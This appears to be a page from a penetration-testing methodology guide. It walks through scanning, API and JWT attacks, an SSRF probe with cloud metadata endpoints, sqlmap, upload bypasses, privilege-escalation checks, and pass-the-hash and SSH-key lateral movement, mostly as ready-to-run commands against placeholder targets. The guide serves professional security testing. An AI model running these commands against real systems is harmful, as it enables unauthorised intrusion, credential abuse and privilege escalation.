Skip to content

Analysis & Exploitation

You've mapped the target's attack surface — now find the weaknesses
This is where scanners earn their keep and where humans earn their pay

Automated Scanning

Cover ground fast , then double-check everything

Web Application Scanners

# Nikto — quick web server scan
nikto -h https://target.com -o nikto_report.html

# ZAP — full-featured , great for CI/CD pipelines
zap-full-scan.py -t https://target.com -r zap_report.html

# Nuclei — template-based vuln detection
nuclei -u https://target.com -t nuclei-templates/ -o nuclei_results.txt

Network Vulnerability Scanners

# Nessus (requires commercial license)
nessuscli scan --target target.com --policy "Basic Network Scan"

# OpenVAS — open source alternative
gvm-cli scan --target target.com

Automated scanning philosophy: * Start broad , then drill deep * Every automated finding gets manual verification * False positives are your enemy — verify verify verify

Manual Assessment

Automated tools miss business logic flaws , race conditions , and creative exploitation paths
This is where you earn the big bucks

Business Logic Testing

# Price manipulation in e-commerce
# Try negative numbers , decimals , or intercepting cart updates
# Example: change price parameter in POST request
POST /api/cart/update
{"item_id": "123", "quantity": 1, "price": 0.01}

API Security Testing

# Endpoint discovery from JS files
grep -r "api." /path/to/js/files/ | sort -u

# GraphQL introspection query
curl -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name fields{name}}}}"}'

# Parameter fuzzing
ffuf -u https://api.target.com/v1/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt

JWT Attacks

# Decode JWT without verification
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Try common secrets
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -C -d /usr/share/wordlists/rockyou.txt

# Change algorithm to "none"
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -X a

SSRF Testing

# Blind SSRF check with Burp collaborator or interactsh
curl -X POST https://target.com/fetch \
  -d '{"url": "http://YOUR-BURP-COLLABORATOR"}'

# Cloud metadata endpoints to try
# http://169.254.169.254/latest/meta-data/   (AWS)
# http://metadata.google.internal/            (GCP)
# http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Azure)

Threat Modeling

Proactive hunting — find the weakness before it finds you

  • Draw data flow diagrams to understand trust boundaries
  • Build attack trees for complex scenarios
  • Prioritize findings by business impact , not CVSS score
flowchart TD
    A[Identify Assets] --> B[Map Data Flows]
    B --> C[Find Trust Boundaries]
    C --> D[Enumerate Threats]
    D --> E[Assess Risk]
    E --> F[Prioritize]
    F --> G[Exploit/Report]

Exploitation

Safe , controlled exploitation to demonstrate real impact

# SQL injection with sqlmap
sqlmap -u "https://target.com/search?q=test" \
  --batch --risk=3 --level=5 --dbs

# XSS detection with XSStrike
python3 xsstrike.py -u "https://target.com/search" --params --crawl

# File upload bypass — try all the tricks
# 1. Change extension (.php -> .php5, .phtml)
# 2. Modify Content-Type header
# 3. Add magic bytes to bypass signature detection

Privilege Escalation

Linux

# Check SUID binaries
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

# Look for writable scripts in cron directories
ls -la /etc/cron*

# Environment variable abuse
# Check if you can modify LD_PRELOAD

Windows (PowerShell)

# Check service permissions
Get-Service | Where-Object {$_.Status -eq "Running"}

# Check AlwaysInstallElevated
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer"

# Check unquoted service paths
wmic service get name,pathname | findstr /i /v "C:\Windows"

Lateral Movement

# Pass-the-hash with Impacket
impacket-psexec DOMAIN/user@target -hashes LMHASH:NTHASH

# SSH key reuse
for key in ~/.ssh/id_*; do ssh -i "$key" user@target; done

# PSExec for Windows lateral movement
psexec \\target -u DOMAIN\user -p password cmd

Every finding you exploit gets documented — you're proving impact , not having fun
Save the fun for the lab